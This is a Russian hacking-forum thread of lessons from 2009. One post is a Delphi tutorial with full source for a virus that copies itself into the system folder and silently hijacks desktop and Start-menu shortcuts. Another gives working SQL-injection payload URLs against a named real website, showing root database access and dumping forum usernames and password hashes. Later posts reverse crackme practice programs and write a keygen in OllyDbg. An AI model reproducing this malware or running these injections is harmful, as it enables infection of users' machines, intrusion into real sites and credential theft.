3.1) Получаем путь к рабочему столу функцией SHGetSpecialFolderLocation с параметром CSIDL_DESKTOPDIRECTORY.
3.2) Ищем все файлы в папке рабочего стола с расширением ".lnk".
3.3) Заражаем их!
3.3.1) Получаем путь к файлу, на который указывает ярлык.
3.3.2) Проверяем - если путь к иконке пустой, то меняем его на путь к файлу, на который указывает ярлык. Это приходится делать из-за того,
что при смене пути файла в ярлыке, автоматом сменится и иконка, и сменится она на вирусную. Зачем лишний раз палиться ?
3.3.3) Если путь к файлу такой-же, как и путь к копии вируса в системной директории, значит этот ярлык уже заражен.
А если нет, то записываем в ярлык путь к нашему вирусу, а также вместо аргумента вписываем путь к жертве.
3.3.4) Сохраняем!
4) Заражаем ярлыки главного меню.
4.1) Получаем путь к папке главного меню функцией SHGetSpecialFolderLocation с параметром CSIDL_COMMON_STARTMENU
(папка главного меню для всех пользователей).
4.2) Ищем все файлы и папки - т.к. в меню большинство ярлыков находятся в разных папках, нужно использовать рекурсию для поиска файлов.
4.3) Заражаем их!
4.4) Получаем путь к папке главного меню функцией SHGetSpecialFolderLocation с параметром CSIDL_STARTMENU
(папка главного меню для текущего пользователя).
4.5) Ищем все файлы и папки.
4.6) Заражаем их!
5) Проверяем - передали ли вирусу в качестве аргумента командной строки что-нибудь. Если это так, то запустим этот файл,
т.к. вся работа по заражению уже выполнена и можно запустить жертву (чтобы никто ничего не заподозрил :).
Также выполним полезную нагрузку - то, чем будет проявляться вирус: удалять файлы, качать с интернета файлы, выводить мессаджбокс с угрозами и т.д.

Ну а теперь после этого скромного плана приступим к шкодингу! Все основные функции вынесены в отдельные процедуры для удобочитаемости.

Создаем новый консольный проект и убираем из него строку {$APPTYPE CONSOLE} - объяснять не буду - обсуждалось уже не раз.
Секция uses должна выглядеть так:

uses
SysUtils, SHLObj, ActiveX, windows, comobj, shellapi;

Добавим раздел констант:

const
[blockquote] mask='*.lnk'; // маска для поиска ярлыков
mask2='*'; // маска для поиска всех файлов
sl='\'; // понятно :)
targetext='.exe';
// расширение тех файлов, ярлыки к которым будут заражаться - это из-за того, что при заражении ярлыков к Exe-файлам,
// иконку сменить просто, но если ярлык будет указывать на файл html, например, то иконка будет неправильная;
// это можно решить, получая инфу об иконке из реестра, но ведь это урок для новичков :)
sysfile='GGG.exe';
// имя файла, которое будет присвоено вирусу в системной папке.
[/blockquote]
Не забываем несколько глобальных переменных:

var
[blockquote] PRes : PChar; // нужна для получения системной директории.
SysDir: string; // тут этот путь и будет храниться
[/blockquote]
Далее напишем основную процедуру для работы с ярлыками:

procedure LinkWork(fn:string); // как параметр, получаем путь к ярлыку
var
[blockquote] ShellObject: IUnknown; // эти 3 переменные
ShellLink: IShellLink; // нужны для работы
PersistFile: IPersistFile; // с ярлыком

FName: WideString; // переменная, которая хранит путь к файлу для работы с ярлыком

OldDir, Ics: array [0..MAX_PATH] of char; // массивы для хранения путей к файлу и иконке

pfd: TWIN32FINDDATA; // нужна для получения пути к файлу, на который указывает ярлык

a: integer; // нужна для получения пути к иконке
[/blockquote] begin
[blockquote] CoInitializeEx(nil, 0); // инициализируем
ShellObject := CreateComObject(CLSID_ShellLink); // и создаем Com-объект
ShellLink := ShellObject as IShellLink;
PersistFile := ShellObject as IPersistFile;
FName := fn;
PersistFile.Load(PWChar(FName), 0); // загружаем в него ярлык
with ShellLink do
begin

[blockquote] GetPath(OldDir, MAX_PATH, pfd, 0); // получаем прежний путь к файлу
Shelllink.GetIconLocation(Ics, MAX_PATH, a); // получаем путь к иконке ярлыка

if (lowercase(extractfileext(string(OldDir))) = TargetExt) then // проверяем, имеет ли файл нужное
// нам расширение, если да, то:
begin

[blockquote] if string(Ics) = '' then // если путь к иконке пустой, значит иконка берется из самого файла,
// и при смене она заменится на вирусную, но нам этого не надо,
ShellLink.SetIconLocation(OldDir,0); // поэтому даем ярлыку иконку прежнего файла

if string(olddir)&lt;&gt;SysDir then // проверяем, заражен ли этот ярлык, если нет, то:
begin

[blockquote] SetPath(PChar(SysDir)); // записывем в ярлык путь к нашему вирусу,
SetArguments(pchar('"'+string(olddir)+'"')); // а как параметр командной строки, записываем путь к прежнему файлу
// т.к. в пути файла могут быть пробелы, в вирусе это вызовет проблемы
// поэтому лучше путь взять в кавычки

PersistFile.Save(PWChar(FName), False); // сохраняем иконку
[/blockquote]
end;
[/blockquote] end;
[/blockquote] end;
[/blockquote] end;

Следующим шагом будет написание процедуры, которая будет искать ярлыки в папке рабочего стола и передавать путь к
найденным файлам процедуре LinkWork:


procedure DesktopWork;
var
[blockquote] IdList: PITEMIDLIST; // экземпляр структуры ITEMIDLIST

Path: array [0..MAX_PATH] of char; // хранит путь рабочего стола

F: TSearchRec; // нужна для хранения свойств найденного файла

p: string; // нужна для составления полного пути к ярлыку

h: cardinal; // хэндл поиска
[/blockquote] begin
[blockquote] SHGetSpecialFolderLocation(0, CSIDL_DESKTOPDIRECTORY, IdList); // получаем путь к папке рабочего стола
SHGetPathFromIDList(IdList, Path); // и сохраняем его в массиве Path

p:=string(Path)+sl+mask; // составляем путь для поиска: Путь + '\' + '*.lnk'

h:=FindFirst(p, faAnyFile and not faDirectory, F); // Ищем первый файл на рабочем столе, отвечающий маске поиска(расщирение "*.lnk"),
// Внимание следует обратить на 2-ой параметр функции - маска аттрибутов,
// которые должен иметь найденный файл:
// мы ищем все файлы(faAnyFile) и исключаем(and not) из них все папки (faDirectory).

if F.name &lt;&gt; '' then // если путь к найденному файлу не пуст, это значит что мы что-то нашли
begin

[blockquote] LinkWork(string(Path)+sl+F.name); // обрабатываем найденный ярлык

while FindNext(F) = 0 do // этот цикл работает, пока файлы, отвечающие маске не закончатся
LinkWork(string(Path)+sl+F.name); // обрабатываем найденный ярлык
[/blockquote]
end;

FindClose(h); // закрываем поиск
[/blockquote] end;

Вот и готова часть кода, которая будет заражать ярлыки рабочего стола. Теперь напишем процедуру для рекурсивного поиска ярлыков :)

procedure rec_work(dir:string);
var
[blockquote] F: TSearchRec; // нужна для хранения свойств найденного файла

i: Integer; // хэндл поиска

fn: string; // нужна для хранения пути к найденному файлу
[/blockquote] begin
[blockquote] Dir := Dir + sl; // добавляем к пути '\'
i := FindFirst(Dir + '*', faAnyFile, F); // Ищем все файлы и папки
while i = 0 do
begin
[blockquote] fn := Dir + F.Name; // добавляем к пути имя найденного файла

if (F.Attr and faDirectory &lt;&gt; 0) then // проверяем - найденный объект - это файл или папка ?
begin
[blockquote] if (F.Name &lt;&gt; '') and (f.Name &lt;&gt; '.') and (f.Name &lt;&gt; '..') then // проверяем, не нашли ли мы бесполезные папки, если нет, то:
begin
[blockquote] rec_work(fn); // вызываем себя с новым путем
[/blockquote] end;
[/blockquote] end
else // а если все-таки нашли файл,
begin
[blockquote] if lowercase(extractfileext(fn+F.name)) = '.lnk' then // то сверяем расширение найденного файла,
LinkWork(fn); // и если оно соответствует расширению ярлыка, то обрабатываем этот файл.
[/blockquote] end;
[/blockquote] i := FindNext(F); // ищем следующий файл

end;

FindClose(i); // закрываем поиск
[/blockquote]
end;



Теперь пришло время для написания кода, ответственного за поиск и передачу параметров предыдущей функции:

procedure StartMenuWork;
var
[blockquote] IdList: PITEMIDLIST; // экземпляр структуры ITEMIDLIST
Path: array [0..MAX_PATH] of char; // хранит путь папки главного меню
[/blockquote] begin

[blockquote] SHGetSpecialFolderLocation(0, CSIDL_COMMON_STARTMENU, IdList); // получим папку главного меню всех пользователей
SHGetPathFromIDList(IdList, Path); // и сохраняем ее в Path
rec_work(string(path)); // ищем в ней ярлыки

SHGetSpecialFolderLocation(0, CSIDL_STARTMENU, IdList); // получим папку главного меню текущего пользователя
SHGetPathFromIDList(IdList, Path); // и сохраняем ее в Path
rec_work(string(path)); // ищем в ней ярлыки
[/blockquote]
end;


Т.к. вирус должен как-то проявляться в системе жертвы, напишем процедуру, которая будет выполнятся, после заражения всех ярлыков!
Пример - она будет считать количество запусков вируса и сохранять в корень диска C:\
Код простой, поэтому комментировать его не буду.


procedure PayLoad;
var
[blockquote] f:text;
i:integer;
[/blockquote] begin
[blockquote] AssignFile(f, 'C:\counter.txt');
if fileexists('C:\counter.txt') then
begin
[blockquote] reset(f);
readln(f, i);
closefile(f);
erase(f);
inc(i);
AssignFile(f, 'C:\counter.txt');
rewrite(f);
writeln(f,i);
end
[/blockquote] else
begin
[blockquote] rewrite(f);
i:=1;
writeln(f, i);
[/blockquote] end;
closefile(f);
[/blockquote] end;

Финальный эпизод вируса - вызов всех основных процедур вируса. Между begin и end пишем:

[blockquote] PRes := StrAlloc(255); // выделим память для хранения строки
GetSystemDirectory(PRes, 255); // получаем путь к системной директории
SysDir := StrPas(PRes)+sl+sysfile; // добавляем к нему '\' и имя файла

CopyFile(pchar(paramstr(0)), pchar(SysDir), true); // копируем файл вируса в системную папку;
// обрати внимание на последний параметр - если он true, то файл не перезаписывается,
// а если false, то перезаписывается; подробнее смотри на MSDN

DesktopWork; // обрабатываем ярлыки рабочего стола
StartMenuWork; // и главного меню

if paramcount&gt;0 then // проверяем - если в качестве параметра командной строки было что-то передано,
// значит вирус был запущен уже из зараженного ярлыка и надо запустить прежний файл
begin
[blockquote] ShellExecute(0, nil, pchar(paramstr(1)), nil, nil, SW_SHOW); // запускаем его
PayLoad; // и выполняем полезную работу :)
[/blockquote] end;
[/blockquote]
Как видишь, ничего сложного в его написании нет. Но это не финальная версия - код можно улучшить и изменить,
например пути рабочего стола и меню брать из реестра, работать с ярлыками обычными файловыми функциями и т.д.
Но так как это учебный код, он был написан для большего понимания, а не скорости и оптимизированности.

А для ленивых я выложил весь проект СЮДА.

Вот и все на сегодня. Можно сделать вывод - заразить можно все! Надеюсь, ты этого не забудешь! Удачи!


VaZoNeZ ©
Post #: 6
RE: Уроки группы 9009 - 2009-07-17 19:32:32.090000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Урок №2. SQL-Injection. Часть 2.
Тонкости SQL-инъекций.

Долго думал, о чем сделать второй урок, и пришел к выводу, что конкретной темы у него не будет. В нем я постараюсь рассказать о разных мелочах SQL-инъекций, без которых почти невозможно провести нормальную атаку.
В данном уроке, для лучшего усвоения материала, я приведу реальные дыры на одном подопытном сайте. Заранее просьба - не озоровать на нем сильно, ничего не крушить и не бенчмаркить его, так как я рассчитываю использовать его для примеров в дальнейших уроках (там целый букет косяков).

И вот еще что. Я хочу, чтобы все, кто взялись за мои уроки, поняли одну простую истину: самое главное при проведении SQL-инъекций это знание языка SQL! Учите его обязательно, иначе толку от этих уроков не будет!

===========================================================================================
Методы поиска уязвимых сценариев.

В данном разделе я не буду говорить о разных сканерах уязвимостей. Ведь наша цель - научиться все делать руками.
Одним из главных орудий поиска уязвимых сценариев является, конечно же, Великий Гугл. Введите в него "Warning: mysql_fetch_array()" (можно поэкспериментировать с разными функциями для разбора результата) или "You have an error in your SQL syntax", и в ворохе найденных страниц вы найдете много интересного (именно таким образом я и вышел на сайт liberty.ge). Или же можно просканить только атакуемый сайт и при случае изрядно упростить себе работу. Если таких явных косяков не найдено, поищем потенциально дырявые скрипты запросом inurl:"id=". Запрос вернет нам все скрипты с параметрами id, news_id, page_id и т.д. В большинстве случаев инъекции присутствуют именно в этих параметрах.
Во все параметры, передаваемые скрипту, подставляем одинарную кавычку. Если в ответе ничего не изменилось, значит 95%, что здесь дыры нет. Остальные 5% составляют случаи, когда кавычки просто вырезаются (о разных способах защиты и их обходе мы поговорим в следующих уроках).
Обязательно проверяйте все скрипты сайта. Очень часто напоровшись на крутую фильтрацию в главных скриптах хакеры уходят с мыслью: "Здесь кодер не дурак, все отфильтровал". А на самом деле какой-нибудь маленький и неприметный скрипт имел кучу дыр, и остался нетронутым.

===========================================================================================
Усечение запроса с помощью комментариев.

Допустим, уязвимый сценарий отсылает к базе следующий запрос:
SQL&gt; SELECT * FROM pages WHERE id=[id] AND status="unlock";
Если мы будем атаковать параметр id, то нам будет мешать дополнительное условие. А вот теперь давайте передадим id=-1+union+select+1,2,3–+. Тогда к базе уйдет следующий запрос:
SQL&gt; SELECT * FROM pages WHERE id=[-1 union select 1,2,3– ] AND status="unlock";
Все, что следует за – будет считаться комментарием и не помешает нашим гнусным планам.

Виды комментариев:
Однострочные комментарии. Комментарием считается весь текст, начиная от знака – или # и до конца строки. Для комментария – есть одно условие: за ним всегда должен следовать пробел.
Многострочный комментарий. Комментарием считается весь текст, начиная от знака /* и до знака */ либо до конца запроса.
Многострочные комментарии удобней однострочных, т.к. без разбора убивают весь конец запроса, но, начиная с версии 5.0.51 незакрытые многострочные комментарии считаются ошибкой.

===========================================================================================
Получение информации о СУБД.

1) version() - функция возвращает версию MySQL. Для чего же нам надо знать версию СУБД? Дело в том, что разные версии отличаются разным функционалом. Приведу самые важные для нас различия:
- UNION присутствует в MySQL, начиная с версии 4;
- подзапросы (если не знаете, что это такое, обязательно прочитайте в книжке) присутствуют в MySQL, начиная с версии 4.1;
- INFORMATION_SCHEMA (о ней я уже говорил в первом уроке) присутствует в MySQL, начиная с версии 5.
Проверяем:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12--
5.0.67-0ubuntu6. Отлично.

Но бывают случаи, когда не получается проэксплуатировать UNION. И сразу встает вопрос: это старая СУБД или фильтрация? В таком случае можно узнать версию перебором. Для этого воспользуемся функцией substring(str,pos,len), которая вырезает из строки str подстроку, начиная с позиции pos, длиной len. Причем отсчет позиции начинается не с нуля, а с единицы. Это значит, что первый символ строки имеет позицию 1.

Выглядит это примерно так:
id=-1+or+substring(version(),1,1)=3
id=-1+or+substring(version(),1,1)=4
id=-1+or+substring(version(),1,1)=5

Поскольку мы задали id=-1 должна выводиться пустая страница, кроме случая, когда substring(version(),1,1)=цифра будет ИСТИНА. В таком случае в выборку попадут все страницы, а мы увидим первую. Таким образом, мы пытаемся угадать первый символ версии, ожидая на экране страницу. Точно так же будем угадывать третий и четвертый символы, если надо (второй символ угадывать не надо - это точка). В логике запроса можно использовать не только проверку на равенство, но и сравнение больше/меньше, что сократит количество необходимых запросов. Сложно, но порой необходимо.

Для решения подобных проблем так же можно воспользоваться конструкцией /*!XXXXX code*/. Она работает следующим образом: если версия СУБД старше или равна ХХХХХ, то вся конструкция заменяется на code, в противном случае она игнорируется.
Например, можно составить запрос: id=1/*!50127+'*/. И если он вернет корректную страницу, значит версия СУБД младше 5.01.27. В противном случае вернется ошибка.
Данная конструкция применяется также и для идентификации СУБД. Если запрос id=1/*!00000+'*/ вернул нам ошибку, значит, мы можем быть уверены, что перед нами MySQL (эта штука работает только в нем).

2) user() - возвращает имя учетки, по которой сценарий работает с мускулом. От прав этой учетки зависят ваши возможности через данную уязвимость (идеальный вариант - root).
Проверяем:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,user(),6,7,8,9,10,11,12--
Боже, фортуна на нашей стороне! root!!!

3) database() - возвращает имя текущей базы. Полезно знать при взломе.
Проверяем:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,database(),6,7,8,9,10,11,12--
liberty_libertygeo.

===========================================================================================
Обход экранирования кавычек.

В настройках интерпретатора (файл php.ini) есть директива magic_quotes_gpc. Если она равна ON, то во всех переменных, переданных скрипту методами GET, POST и COOKIE все NULL-байты, обратные слеши, одинарные и двойные кавычки будут предварены обратным слешем (\). Нас это естественно не устраивает, т.к. испортит весь запрос. Однако, можно воспользоваться альтернативными способами представления строки:

char(num1, num2,…) - функция принимает через запятую числовые коды символов и возвращает строку из этих символов (ее применение было рассмотрено в первом уроке).

На подопытном сайте, как раз включено экранирование кавычек, так что без кодирования не обойтись. Например, посмотрим, какие таблицы хранятся в базе liberty_libertygeo:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11,12+FROM+information_schema.tables+WHERE+table_schema=char(108,105,98,101,114,116,121,95,108,105,98,101,114,116,121,103,101,111)+LIMIT+0,1-- Таким образом, мы получим первую таблицу из этой базы.

В принципе, вместо нее можно использовать представление строки в шестнадцатеричном виде.
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11,12+FROM+information_schema.tables+WHERE+table_schema=0x6c6962657274795f6c69626572747967656f+LIMIT+0,1-- Как по мне, второй вариант короче и удобнее.

Для перекодирования в оба вида можете воспользоваться скриптом:

&lt;?PHP $str=""; //строка для кодирования $char=array(); for($i=0; $i&lt;strlen($str); $i++){ $char[]=ord($str[$i]); } echo "DEC: char(".implode($char,",").")\n"; //Если результат выводится в браузер, замените \n на &lt;BR&gt; echo "HEX: 0x".bin2hex($str); ?&gt;
===========================================================================================
Ускорение извлечения данных

Раскрутка инъекции - очень увлекательное занятие, пока дело не доходит до извлечения больших объемов данных.
Допустим, мы раскопали таблицу юзеров и хотим заполучить из нее логины и пароли. Сделать это быстро и удобно нам помогут следующие функции:

concat(str1, str2,…), concat_ws(separator, str1, str2,…) - эти функции объединяют несколько строк в одну. В качестве аргументов они могут принимать как константные строки, так и имена столбцов. Разница между функциями в том, что первая просто объединяет строки, а вторая объединяет их, помещая между ними разделитель separator. Данные функции очень помогают, когда принтабельных полей мало, а столбцов надо выводить много, или же когда просто удобно выводить результаты в одну строчку.
Приведу пример. Мы прошлись по базе liberty_libertygeo и обнаружили присутствие на сайте форуме IPB (присутствуют таблицы с именем, начинающимся на ibf_). Сам форум не пашет, но таблицы его в порядке. Присутствует таблица ibf_members (значит, форум первой версии и нам нужны будут только логины и хеши). Из информационной схемы узнаем поля этой таблицы. Нас будут интересовать только name и password. Теперь составляем запрос:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,name,password),6,7,8,9,10,11,12+FROM+ibf_members+LIMIT+0,1-- http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,name,password),6,7,8,9,10,11,12+FROM+ibf_members+LIMIT+1,1--
group_concat(expr[ SEPARATOR str]) - функция, используемая обычно совместно с командой GROUP BY. Она объединяет в одну строку все значения отдельных групп столбца expr. Если GROUP BY не применяется, будут объединены все значения столбца. Можно указать разделитель str, который будет помещаться между значениями (по умолчанию ставится запятая). Пример:
http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(concat_ws(0x3a,name,password)+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+ibf_members-- И все было бы прекрасно, и доставали бы мы так всю таблицу за один запрос, если бы не одно "но". Эта функция имеет ограничение по длине объединяемой строки (по умолчанию всего лишь 1024 символа). Получается, мы сможем объединить данные только из нескольких первых строк, а остальные записи придется перебирать по одной.
Использование LIMIT не поможет, так как сначала будет проведено объединение всех данных, усечение полученной строки, а только потом выбор по лимиту.

Но все-таки существует метод, позволяющий с помощью group_concat() перебирать всю таблицу большими кусками. Первым делом прикинем, сколько целых записей уложится в 1024 символа:

14 символов - имя пользователя
32 символа - хеш пароля
5 символов оставим на разделители
———————————-
51 символов

Итого, мы можем уложить в ряд 20 записей. А теперь составляем запросы следующего вида:

http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(field+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+(SELECT+concat_ws(0x3a,name,password)+as+field+FROM+ibf_members+LIMIT+0,20)+as+t-- http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(field+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+(SELECT+concat_ws(0x3a,name,password)+as+field+FROM+ibf_members+LIMIT+20,20)+as+t-- http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(field+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+(SELECT+concat_ws(0x3a,name,password)+as+field+FROM+ibf_members+LIMIT+40,20)+as+t-- Правда, записей в базе мало и на третий запрос уже не хватает.
Смысл такого запроса в следующем: подзапросом мы получаем нужную нам часть таблицы, и используем ее как полноценную таблицу, применяя к ее столбцу group_concat().

Есть еще один вариант, правда, не такой удобный. Если все записи в таблице пронумерованы (есть поле типа id) и в этой нумерации нет пробелов, то можно реализовать перебор на условиях попадания id в определенный промежуток:

http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(concat_ws(0x3a,name,password)+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+ibf_members+WHERE+id&gt;=1+AND+id&lt;=20-- http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(concat_ws(0x3a,name,password)+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+ibf_members+WHERE+id&gt;=21+AND+id&lt;=40-- http://liberty.ge/geo/print.php?table=active&id_name=id&id=-1+UNION+SELECT+1,2,3,4,group_concat(concat_ws(0x3a,name,password)+SEPARATOR+0x3c42523e),6,7,8,9,10,11,12+FROM+ibf_members+WHERE+id&gt;=41+AND+id&lt;=60-- То есть, сначала по id выбираются нужные записи, а потом объединяются в строку.
===========================================================================================

На этом я хочу закончить свой второй урок посвященный данной теме. Впереди еще много материала, так что это не конец. Жду ваших вопросов, отзывов и пожеланий.


ВНИМАНИЕ!!! В данной теме обсуждение запрещено!!!
Обсуждение &gt;&gt;&gt;ЗДЕСЬ&lt;&lt;&lt;
Post #: 7
RE: Уроки группы 9009 - 2009-08-21 10:46:57.530000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
// Тут некоторые просили мини-уроки, которые были бы меньше, но чаще.

"Урок №5. Крек. Часть 1. Взлом KeyGenMe level2."

Crackin' LibertyorDeaths ASM KeyGenMe #1

Цель взлома сегодня - LibertyorDeaths ASM KeyGenMe #1.
Взять его можно тут -
http://crackmes.de/users/libertyordeath/libertyordeaths_asm_keygenme1/download
Этот кейгенми 2-го уровня как раз для новичков(НО! как минимум знающих основы).

1. Открываем кейгенми в Олли и видим непонятную картину - один jmp и кучу битого кода. Это значит что код зашифрован, а jmp используется для перехода на декриптор. Код декриптора таков:

004011AE MOV ESI,ASM_KEYG.00401006
004011B3 MOV AL,BYTE PTR DS:[ESI]
004011B5 XOR AL,25
004011B7 MOV BYTE PTR DS:[ESI],AL
004011B9 INC ESI
004011BA CMP ESI,ASM_KEYG.004011A7
004011C0 JNZ SHORT ASM_KEYG.004011B3
004011C2 JMP ASM_KEYG.00401006

Как видишь, в нем никаких антиотладочных трюков, он очень прост, а значит можно запускать программу (F9) - пусть себе код расшифруется. Кстати, чуть выше можно увидеть криворукость создателя кейгенми:

004011A9 . E8 1A000000 CALL &lt;JMP.&kernel32.ExitProcess&gt; ; \ExitProcess

Код не до конца зашифрован, а значит боятся нечего - создатель не профи))

2. Когда кейгенми запустится и появится окно, проанализируй код в Олли заново (Ctrl+A). Это нужно для того, чтобы код в отладчике занаво проанализировался и был покрасивее после обработки Олли.

3. Пролистай в Олли чуть выше, и ты увидишь главный код, который генерирует серийник. Там же находится API lstrcmpA - сравнение строк. Пролистай чуть выше до начала процедуры генерации (401114h)

4. Как видишь, код понятен и несложен, и мы можем рипнуть код с 401127h до 401152h для нашего кейгена.

Процедура начинается тут:
00401114 PUSH EDI
00401115 CMP DWORD PTR DS:[403100],0 ; Если длина имени = 0,
0040111C JE SHORT ASM_KEYG.00401191 ; тогда прыгаем к плохому сообщению
0040111E CMP DWORD PTR DS:[403128],0 ; Если длина введеного серийника = 0,
00401125 JE SHORT ASM_KEYG.00401191 ; тогда прыгаем к плохому сообщению
00401127 XOR ESI,ESI
00401129 XOR ECX,ECX
0040112B XOR EDX,EDX
0040112D MOV ECX,0
00401132 MOV EDX,0A

Здесь начинается главный цикл генерации серийника:
00401137 /MOVSX EAX,BYTE PTR DS:[ECX+4030C0] ; Получим букву имени
0040113E |INC EAX ; Математические операции
0040113F |ADD EAX,EDX ; которые генерируют серийник
00401141 |ADD ESI,EAX
00401143 |INC ECX
00401144 |IMUL EDX,ECX
00401147 |MOV EDI,EDX
00401149 |IMUL EDI,ESI
0040114C |CMP ECX,DWORD PTR DS:[403100] ; Сравним количество пройденых циклов с длиной имени
00401152 \JNZ SHORT ASM_KEYG.00401137 ; Прыгаем в начало цикла, если они разные

Теперь мы имеем 2 числа, сгенереных на основе имени в ESi и EDI.
Следующий код форматирует правильный серийник на основе чисел в ESi и EDI.
00401154 PUSH EDI
00401155 PUSH ESI
00401156 PUSH ASM_KEYG.004030AE ; Формат = "LOD-%lu-%lX"
0040115B PUSH ASM_KEYG.00403104 ; В это буфере будет валидный серийник
00401160 CALL &lt;JMP.&user32.wsprintfA&gt;
00401165 ADD ESP,10

Этот код сравнивает серийники:
00401168 PUSH ASM_KEYG.004030E0
0040116D PUSH ASM_KEYG.00403104
00401172 CALL &lt;JMP.&kernel32.lstrcmpA&gt;

Если мы ввели неправильный SN, то прыгаем по адресу 401191h
00401177 CMP EAX,0
0040117A POP EDI
0040117B JNZ SHORT ASM_KEYG.00401191

Если мы ввели правильный SN, показываем "хорошее сообщение" и выходим из процедуры генерации.
0040117D PUSH 0
0040117F PUSH ASM_KEYG.00403092 ; |Title = "Yay!"
00401184 PUSH ASM_KEYG.00403084 ; |Text = "Valid Serial!"
00401189 PUSH 0
0040118B CALL &lt;JMP.&user32.MessageBoxA&gt;
00401190 RETN

Этот код показывает "плохое" сообщение и выходит из программы
00401191 PUSH 0
00401193 PUSH ASM_KEYG.004030A7 ; |Title = "Error!"
00401198 PUSH ASM_KEYG.00403097 ; |Text = "Invalid Serial!"
0040119D PUSH 0
0040119F CALL &lt;JMP.&user32.MessageBoxA&gt;
004011A4 PUSH ASM_KEYG.00403124
004011A9 CALL &lt;JMP.&kernel32.ExitProcess&gt; ; Выход!

Вот кусок исходника моего кейгена, отвечающий за генерацию серийника:

.data?
Buffer1 db 256 dup (?)
Buffer2 db 256 dup (?)
n_length dd ?
.data
fmtstr db "LOD-%lu-%lX",0
.code
Generate proc hWin:HWND
invoke GetDlgItemText,hWin,700,ADDR Buffer1,32
invoke lstrlen, addr Buffer1
mov n_length, eax
XOR ESI,ESI
XOR ECX,ECX
XOR EDX,EDX
MOV ECX,0
MOV EDX,0Ah
here:
MOVSX EAX,BYTE PTR [ECX+Buffer1]
INC EAX
ADD EAX,EDX
ADD ESI,EAX
INC ECX
IMUL EDX,ECX
MOV EDI,EDX
IMUL EDI,ESI
CMP ECX,DWORD PTR [n_length]
JNZ here
invoke wsprintf,ADDR Buffer2,ADDR fmtstr,esi,edi
invoke SetDlgItemText, hWin, 701, addr Buffer2
Generate endp

// Оригинал статьи ТУТ
Post #: 8
RE: Уроки группы 9009 - 2009-08-22 05:52:39.226666   
Neveral

Сообщений: 282
Оценки: 0
Присоединился: 2009-02-10 11:51:27.530000
Основы крэкинга. Статья 1.
Для того чтобы заниматься крэкингом надо сначала изучить основной инструмент крекера – отладчик. Я буду писать уроки, используя Olly Debugger, или проще говоря, Олю. Для того чтобы приступить непосредственно к крэкингу рассмотрим наиболее полезные клавиши в OllyDbg:
&nbsp;
F7: Выполняет одну строку кода (если находимся на CALL, то переходим внутрь вызванного участка кода) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
F8: Выполняет одну строку кода (если находимся на CALL, то просто выполняет вызов без перехода внутрь и переходит на следующую за CALL строку). &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
F2: устанавливает обычную точку останова на отмеченной линии. Чтобы убрать эту точку останова, надо ещё раз нажать F2.
&nbsp;
Вообще, об Оле можно написать очень много и это займет не один урок, а целую книгу. Поэтому мы не будем останавливаться на этом. Для этого есть специализированные сайты, вот наиболее информативный:http://www.wasm.ru/article.php?article=ollydbg01
Там найдете много полезной информации.
&nbsp;
А сейчас мы рассмотрим самый-самый простой вид защиты – твердо заданный серийный номер (этот серийный номер не зависит не от чего и попросту забит в программу). Тренироваться мы будем на различных crackme’сах. Первым и самым простым из них будет mielecrackme1, автором которого и является miele. http://www.wasm.ru/pub/23/files/ollydbg13.rar

1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Откроем mielecrackme1 в OllyDbg, перед нами появится такое окно:


На первый взгляд пугающе, но ничего =), через несколько занятий будете как у себя дома лазить по дизассемблированному коду.

2)&nbsp;     Вторым нашим шагом будет открытие всех текстовых строк программы (которые она использует). Это делается так: правый щелчок мыши по полю которое видите выше на картинке =), затем search for a all referenced text strings



